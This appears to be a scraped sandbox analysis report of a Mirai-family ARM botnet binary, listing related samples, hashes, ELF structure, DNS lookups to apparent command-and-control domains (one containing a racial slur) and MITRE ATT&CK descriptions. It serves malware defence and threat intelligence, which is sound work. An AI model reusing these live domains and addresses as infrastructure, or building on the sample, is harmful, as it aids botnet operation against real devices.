156.208.228.185	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.198.207.204	unknown	South Africa	327693	ECHO-SPZA	false
156.208.228.184	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.172.142.251	unknown	South Africa	37168	CELL-CZA	true
41.219.35.184	unknown	Senegal	37196	SUDATEL-SENEGALSN	false
156.43.93.65	unknown	United Kingdom	3549	LVLT-3549US	false
156.94.45.220	unknown	United States	10695	WAL-MARTUS	false
197.4.200.75	unknown	Tunisia	5438	ATI-TN	false
156.237.86.229	unknown	Seychelles	134705	ITACE-AS-APItaceInternationalLimitedHK	false
197.169.124.216	unknown	South Africa	37168	CELL-CZA	false
156.125.162.25	unknown	United States	393504	XNSTGCA	false
197.58.204.218	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.233.34.171	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.252.128.165	unknown	Sudan	15706	SudatelSD	false
156.254.22.206	unknown	Seychelles	394281	XHOSTSERVERUS	false
41.89.178.139	unknown	Kenya	36914	KENET-ASKE	false
156.93.199.7	unknown	United States	46313	WAL-MART4US	false
41.137.141.220	unknown	Morocco	36884	MAROCCONNECTMA	false
156.223.50.240	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.34.23.186	unknown	Canada	855	CANET-ASN-4CA	false
41.171.231.119	unknown	South Africa	36937	Neotel-ASZA	false
197.16.172.183	unknown	Tunisia	37693	TUNISIANATN	false
197.21.65.17	unknown	Tunisia	37693	TUNISIANATN	false
41.223.185.6	unknown	Central African Republic	37460	ORANGE-CACF	false
197.19.253.132	unknown	Tunisia	37693	TUNISIANATN	false
197.116.212.238	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.244.234.103	unknown	Seychelles	132839	POWERLINE-AS-APPOWERLINEDATACENTERHK	false
156.99.130.45	unknown	United States	1998	STATE-OF-MNUS	false
197.255.13.161	unknown	Nigeria	35074	COBRANET-ASLB	false
197.191.86.176	unknown	Ghana	37140	zain-asGH	false
156.228.141.244	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
156.22.157.80	unknown	Australia	29975	VODACOM-ZA	false
156.170.44.209	unknown	Egypt	36992	ETISALAT-MISREG	false
197.18.225.95	unknown	Tunisia	37693	TUNISIANATN	false
156.21.96.203	unknown	United States	29975	VODACOM-ZA	false
197.21.65.33	unknown	Tunisia	37693	TUNISIANATN	false
197.222.130.1	unknown	Egypt	37069	MOBINILEG	false
156.141.177.97	unknown	United States	29975	VODACOM-ZA	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
156.222.154.31	skid.arm5.elf	Get hash	malicious	Mirai, Moobot	Browse
197.106.7.147	JLJkT6Xg7I.elf	Get hash	malicious	Mirai	Browse
	1Lc4GYHy2M.elf	Get hash	malicious	Mirai, Moobot	Browse
	pZ0S9uLxTH.elf	Get hash	malicious	Mirai	Browse
	bk.mpsl-20220929-2309.elf	Get hash	malicious	Mirai	Browse
	ak.arm5.elf	Get hash	malicious	Mirai	Browse
197.26.6.220	HZHDPhGvrL.elf	Get hash	malicious	Mirai	Browse
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse
	apep.x86	Get hash	malicious	Unknown	Browse
197.58.204.202	50bA7XFJQI.elf	Get hash	malicious	Mirai	Browse
	arm7.elf	Get hash	malicious	Mirai	Browse
	6BhVz1QxCs.elf	Get hash	malicious	Mirai, Moobot	Browse
	x86.elf	Get hash	malicious	Mirai	Browse
	odTcTd1EBC.elf	Get hash	malicious	Mirai, Moobot	Browse
	UXX3Db03tl	Get hash	malicious	Mirai	Browse
197.179.229.42	bot.arm5.elf	Get hash	malicious	Mirai, Moobot	Browse
	HOdRDgUXqH.elf	Get hash	malicious	Mirai	Browse
	V1mCtkZgYL.elf	Get hash	malicious	Mirai, Moobot	Browse
	log21.sh4.elf	Get hash	malicious	Mirai, Moobot	Browse
	GEGqQDiNR6.elf	Get hash	malicious	Mirai	Browse
	x86	Get hash	malicious	Mirai	Browse
197.172.190.132	U6d2xCNMT4.elf	Get hash	malicious	Mirai	Browse
41.226.143.40	Upc3E2ggQy.elf	Get hash	malicious	Mirai	Browse
41.226.143.40	tSPx13a2fq.elf	Get hash	malicious	Mirai, Moobot	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
magicalmalware.pirate	nshmips.elf	Get hash	malicious	Mirai	Browse	139.59.247.93
	garm.elf	Get hash	malicious	Mirai	Browse	157.245.110.224
	garm7.elf	Get hash	malicious	Mirai	Browse	138.197.141.146
	nshppc.elf	Get hash	malicious	Mirai	Browse	138.197.141.146
	garm5.elf	Get hash	malicious	Mirai	Browse	165.22.62.189
	gmpsl.elf	Get hash	malicious	Mirai	Browse	138.68.66.39
	mips.elf	Get hash	malicious	Mirai	Browse	128.199.113.0
	ppc.elf	Get hash	malicious	Mirai	Browse	138.197.7.36
	x86.elf	Get hash	malicious	Mirai	Browse	139.59.247.93
	x86_64.elf	Get hash	malicious	Mirai	Browse	165.22.62.189

Process:	/tmp/garm.elf
File Type:	data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.521640636343319
Encrypted:	false
SSDEEP:	3:TgHYC:TgH
MD5:	0F0D9627D0CE342681AADAA55BAC3F39
SHA1:	92BDADBBD60881ECBB50B7714C5D5AF7F036E329
SHA-256:	8B8CF3FC8E1EA8DB0CA13038E38F7F52A62C230265F37F9C590242FBC13032D2
SHA-512:	8BD64C91B2372BF612E7D319B2C5FEF16D62780EE558C492D3838933E93C5B50451F51AB86F5E1151DEDF1B51B6BE03FE9E6E5CFE9E3E8D718AA7753E93CDFA4
Malicious:	false
Reputation:	low
Preview:	/tmp/garm.elf.

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.13231273004295
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	garm.elf
File size:	65'112 bytes
MD5:	ff7eb842f0b38ac1e67c69816c83772c
SHA1:	8754b343901fd3c3389982387dcc9687f8b41841
SHA256:	72187fa33f2c3b03340361e5ebdeca5bfd47d1a7b780011185280e779d00fe40
SHA512:	d607a163abb28ab0115aa76d29068589d6cd93465185e32d0b44948766f356e7ea36ac061e304147aadb979839588f6e579dbcd52c4086dffd8a75b745b2454b
SSDEEP:	1536:3WjwhDTG5JflDaw5+6Jbhe/uJ2El1UumhvURD:3WWD4fFw6JbhVfUUZ
TLSH:	DC533B81BC815A13C6C412BBFB2F028D772A53ACD2EA7207DE259F21378796B0D77641
File Content Preview:	.ELF...a..........(.........4...........4. ...(..........................................................%..........Q.td..................................-...L."....7..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report garm.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.02L0Ag (deleted)

/tmp/qemu-open.04K9Cd (deleted)

/tmp/qemu-open.05pAfh (deleted)

/tmp/qemu-open.06hong (deleted)

/tmp/qemu-open.07ms3f (deleted)

/tmp/qemu-open.0LCOMf (deleted)

/tmp/qemu-open.0N9tAg (deleted)

/tmp/qemu-open.0OcXeh (deleted)

/tmp/qemu-open.0RYxHh (deleted)

/tmp/qemu-open.0SZ4vg (deleted)

/tmp/qemu-open.0T3DQe (deleted)

/tmp/qemu-open.0VaAte (deleted)

/tmp/qemu-open.0Y3sSf (deleted)

/tmp/qemu-open.0kGAud (deleted)

/tmp/qemu-open.0qmJzd (deleted)

/tmp/qemu-open.0zVMug (deleted)

/tmp/qemu-open.10dpGe (deleted)

/tmp/qemu-open.18v9vh (deleted)

/tmp/qemu-open.1A13we (deleted)

/tmp/qemu-open.1Cyhef (deleted)

/tmp/qemu-open.1FWvFe (deleted)

/tmp/qemu-open.1FePQg (deleted)

/tmp/qemu-open.1J8Ruf (deleted)

/tmp/qemu-open.1Lm4Re (deleted)

/tmp/qemu-open.1MO7Mg (deleted)

/tmp/qemu-open.1OkqUe (deleted)

/tmp/qemu-open.1Q0G7f (deleted)

/tmp/qemu-open.1Qq2Rg (deleted)

Linux Analysis Report
garm.elf

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	64712
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xde80	0x0	0x6	AX	16
.fini	PROGBITS	0x15f30	0xdf30	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x15f44	0xdf44	0x19b4	0x0	0x2	A	4
.ctors	PROGBITS	0x1f8fc	0xf8fc	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1f904	0xf904	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x1f910	0xf910	0x378	0x0	0x3	WA	4
.bss	NOBITS	0x1fc88	0xfc88	0x2178	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xfc88	0x3e	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0xf8f8	0xf8f8	6.1698	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0xf8fc	0x1f8fc	0x1f8fc	0x38c	0x2504	2.7322	0x6	RW	0x8000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 10:02:26.990508080 CEST	192.168.2.23	70.34.254.19	0x5280	Standard query (0)	swimminginboats.geek	A (IP address)	IN (0x0001)	false
Oct 24, 2024 10:02:32.003990889 CEST	192.168.2.23	192.71.166.92	0x913f	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 10:02:32.063468933 CEST	192.168.2.23	178.254.22.166	0xfd17	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	280	false
Oct 24, 2024 10:02:37.066859961 CEST	192.168.2.23	37.252.191.197	0xa9ba	Standard query (0)	therealniggas.parody. [malformed]	256	285	false
Oct 24, 2024 10:02:40.090739012 CEST	192.168.2.23	37.252.191.197	0x11d2	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	288	false
Oct 24, 2024 10:02:40.113002062 CEST	192.168.2.23	94.247.43.254	0x99ef	Standard query (0)	swimminginboats.geek. [malformed]	256	288	false
Oct 24, 2024 10:02:40.122553110 CEST	192.168.2.23	130.61.69.123	0x3ba5	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 10:02:46.072928905 CEST	192.168.2.23	88.198.92.222	0x10dc	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 10:02:46.242566109 CEST	192.168.2.23	70.34.254.19	0xdb1a	Standard query (0)	swimminginboats.geek. [malformed]	256	294	false
Oct 24, 2024 10:02:51.244724035 CEST	192.168.2.23	94.247.43.254	0x349c	Standard query (0)	therealniggas.parody. [malformed]	256	299	false
Oct 24, 2024 10:02:51.253086090 CEST	192.168.2.23	80.152.203.134	0xbd1b	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	299	false
Oct 24, 2024 10:02:57.463715076 CEST	192.168.2.23	88.198.92.222	0x9e80	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	305	false
Oct 24, 2024 10:03:02.467263937 CEST	192.168.2.23	185.181.61.24	0x1258	Standard query (0)	swimminginboats.geek. [malformed]	256	310	false
Oct 24, 2024 10:03:02.501754999 CEST	192.168.2.23	138.197.140.189	0xb0e7	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 10:03:08.598629951 CEST	192.168.2.23	130.61.69.123	0x1cb3	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	316	false
Oct 24, 2024 10:03:08.606659889 CEST	192.168.2.23	168.235.111.72	0x9a3d	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 10:03:15.192378998 CEST	192.168.2.23	109.91.184.21	0x447c	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	323	false
Oct 24, 2024 10:03:15.240891933 CEST	192.168.2.23	94.247.43.254	0x7073	Standard query (0)	therealniggas.parody. [malformed]	256	323	false
Oct 24, 2024 10:03:15.249629974 CEST	192.168.2.23	217.160.70.42	0xf5d9	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 10:03:21.820483923 CEST	192.168.2.23	109.91.184.21	0xf405	Standard query (0)	therealniggas.parody. [malformed]	256	329	false
Oct 24, 2024 10:03:21.854626894 CEST	192.168.2.23	195.10.195.195	0x15f7	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	329	false
Oct 24, 2024 10:03:21.862884045 CEST	192.168.2.23	80.152.203.134	0xf585	Standard query (0)	swimminginboats.geek. [malformed]	256	330	false
Oct 24, 2024 10:03:26.867834091 CEST	192.168.2.23	81.169.136.222	0xa1aa	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 10:03:33.414098024 CEST	192.168.2.23	70.34.254.19	0xfa3a	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	341	false
Oct 24, 2024 10:03:38.419383049 CEST	192.168.2.23	94.247.43.254	0x1dea	Standard query (0)	swimminginboats.geek. [malformed]	256	346	false
Oct 24, 2024 10:03:38.428554058 CEST	192.168.2.23	195.10.195.195	0x7ca6	Standard query (0)	therealniggas.parody. [malformed]	256	346	false
Oct 24, 2024 10:03:38.437985897 CEST	192.168.2.23	130.61.69.123	0x8959	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 10:03:45.089924097 CEST	192.168.2.23	65.21.1.106	0xc313	Standard query (0)	swimminginboats.geek. [malformed]	256	353	false
Oct 24, 2024 10:03:45.118511915 CEST	192.168.2.23	103.1.206.179	0x8d	Standard query (0)	therealniggas.parody. [malformed]	256	353	false
Oct 24, 2024 10:03:45.397471905 CEST	192.168.2.23	178.254.22.166	0x4a37	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	353	false
Oct 24, 2024 10:03:50.401103020 CEST	192.168.2.23	130.61.69.123	0x1fda	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 10:03:56.872342110 CEST	192.168.2.23	37.252.191.197	0xa2e9	Standard query (0)	swimminginboats.geek. [malformed]	256	364	false
Oct 24, 2024 10:03:56.895539045 CEST	192.168.2.23	202.61.197.122	0x6745	Standard query (0)	therealniggas.parody. [malformed]	256	364	false
Oct 24, 2024 10:03:56.907608986 CEST	192.168.2.23	195.10.195.195	0x62b5	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 10:04:03.529032946 CEST	192.168.2.23	192.71.166.92	0x23ec	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 10:04:03.586965084 CEST	192.168.2.23	70.34.254.19	0x7c62	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	371	false
Oct 24, 2024 10:04:08.590874910 CEST	192.168.2.23	94.247.43.254	0x6e50	Standard query (0)	therealniggas.parody. [malformed]	256	376	false
Oct 24, 2024 10:04:08.599180937 CEST	192.168.2.23	80.78.132.79	0xeea2	Standard query (0)	swimminginboats.geek. [malformed]	256	376	false
Oct 24, 2024 10:04:15.104814053 CEST	192.168.2.23	103.1.206.179	0x2b64	Standard query (0)	therealniggas.parody. [malformed]	256	383	false
Oct 24, 2024 10:04:15.386899948 CEST	192.168.2.23	81.169.136.222	0xefd5	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 10:04:21.910379887 CEST	192.168.2.23	37.252.191.197	0xf81d	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	389	false
Oct 24, 2024 10:04:21.933912039 CEST	192.168.2.23	80.152.203.134	0xb2e2	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 10:04:27.939441919 CEST	192.168.2.23	109.91.184.21	0xb246	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 10:04:34.516040087 CEST	192.168.2.23	80.78.132.79	0x15f	Standard query (0)	swimminginboats.geek. [malformed]	256	402	false
Oct 24, 2024 10:04:34.534950018 CEST	192.168.2.23	130.61.69.123	0x486c	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	402	false
Oct 24, 2024 10:04:34.545078039 CEST	192.168.2.23	88.198.92.222	0x119	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 10:04:34.558231115 CEST	192.168.2.23	88.198.92.222	0xa20d	Standard query (0)	therealniggas.parody. [malformed]	256	402	false
Oct 24, 2024 10:04:46.099457026 CEST	192.168.2.23	138.197.140.189	0x8719	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 10:04:52.677227974 CEST	192.168.2.23	185.181.61.24	0x6bb0	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 10:04:59.233448982 CEST	192.168.2.23	185.181.61.24	0x829b	Standard query (0)	swimminginboats.geek. [malformed]	256	427	false
Oct 24, 2024 10:04:59.268522024 CEST	192.168.2.23	94.247.43.254	0x6dc8	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	427	false
Oct 24, 2024 10:04:59.277493000 CEST	192.168.2.23	195.10.195.195	0xe72	Standard query (0)	therealniggas.parody. [malformed]	256	427	false
Oct 24, 2024 10:04:59.287101030 CEST	192.168.2.23	94.247.43.254	0x2c4	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 10:05:05.895884991 CEST	192.168.2.23	80.78.132.79	0x9821	Standard query (0)	swimminginboats.geek. [malformed]	256	433	false
Oct 24, 2024 10:05:05.914256096 CEST	192.168.2.23	138.197.140.189	0xf13	Standard query (0)	therealniggas.parody. [malformed]	256	433	false
Oct 24, 2024 10:05:06.020303011 CEST	192.168.2.23	37.252.191.197	0xa1f9	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	434	false
Oct 24, 2024 10:05:06.042819977 CEST	192.168.2.23	37.252.191.197	0xca8	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 10:05:14.609730959 CEST	192.168.2.23	130.61.69.123	0x33c5	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	442	false
Oct 24, 2024 10:05:15.298494101 CEST	192.168.2.23	103.1.206.179	0x6c72	Standard query (0)	swimminginboats.geek. [malformed]	256	443	false
Oct 24, 2024 10:05:15.577589035 CEST	192.168.2.23	138.197.140.189	0x1fd8	Standard query (0)	therealniggas.parody. [malformed]	256	443	false
Oct 24, 2024 10:05:15.684829950 CEST	192.168.2.23	195.10.195.195	0xd69	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 10:05:22.392230034 CEST	192.168.2.23	217.160.70.42	0xf83f	Standard query (0)	therealniggas.parody. [malformed]	256	450	false
Oct 24, 2024 10:05:22.421551943 CEST	192.168.2.23	178.254.22.166	0xae2c	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	450	false
Oct 24, 2024 10:05:27.424042940 CEST	192.168.2.23	81.169.136.222	0x4479	Standard query (0)	swimminginboats.geek. [malformed]	256	455	false
Oct 24, 2024 10:05:27.457537889 CEST	192.168.2.23	185.181.61.24	0x616f	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 10:05:33.740170956 CEST	192.168.2.23	81.169.136.222	0x2c11	Standard query (0)	therealniggas.parody. [malformed]	256	461	false
Oct 24, 2024 10:05:33.769515038 CEST	192.168.2.23	51.158.108.203	0x4cac	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	461	false
Oct 24, 2024 10:05:33.786890984 CEST	192.168.2.23	94.247.43.254	0x1b31	Standard query (0)	swimminginboats.geek. [malformed]	256	461	false
Oct 24, 2024 10:05:33.800426006 CEST	192.168.2.23	152.53.15.127	0x183b	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 10:05:38.831851959 CEST	192.168.2.23	70.34.254.19	0x246f	Standard query (0)	swimminginboats.geek. [malformed]	256	467	false
Oct 24, 2024 10:05:43.837954998 CEST	192.168.2.23	178.254.22.166	0x115a	Standard query (0)	therealniggas.parody. [malformed]	256	472	false
Oct 24, 2024 10:05:48.841417074 CEST	192.168.2.23	94.247.43.254	0x7433	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	476	false
Oct 24, 2024 10:05:48.850778103 CEST	192.168.2.23	217.160.70.42	0x38ca	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 10:05:54.881402016 CEST	192.168.2.23	103.1.206.179	0xf631	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	483	false
Oct 24, 2024 10:05:55.162548065 CEST	192.168.2.23	94.247.43.254	0xd3e2	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 10:06:01.257977962 CEST	192.168.2.23	94.247.43.254	0xa2d6	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	489	false

Start time (UTC):	08:02:25
Start date (UTC):	24/10/2024
Path:	/tmp/garm.elf
Arguments:	/tmp/garm.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre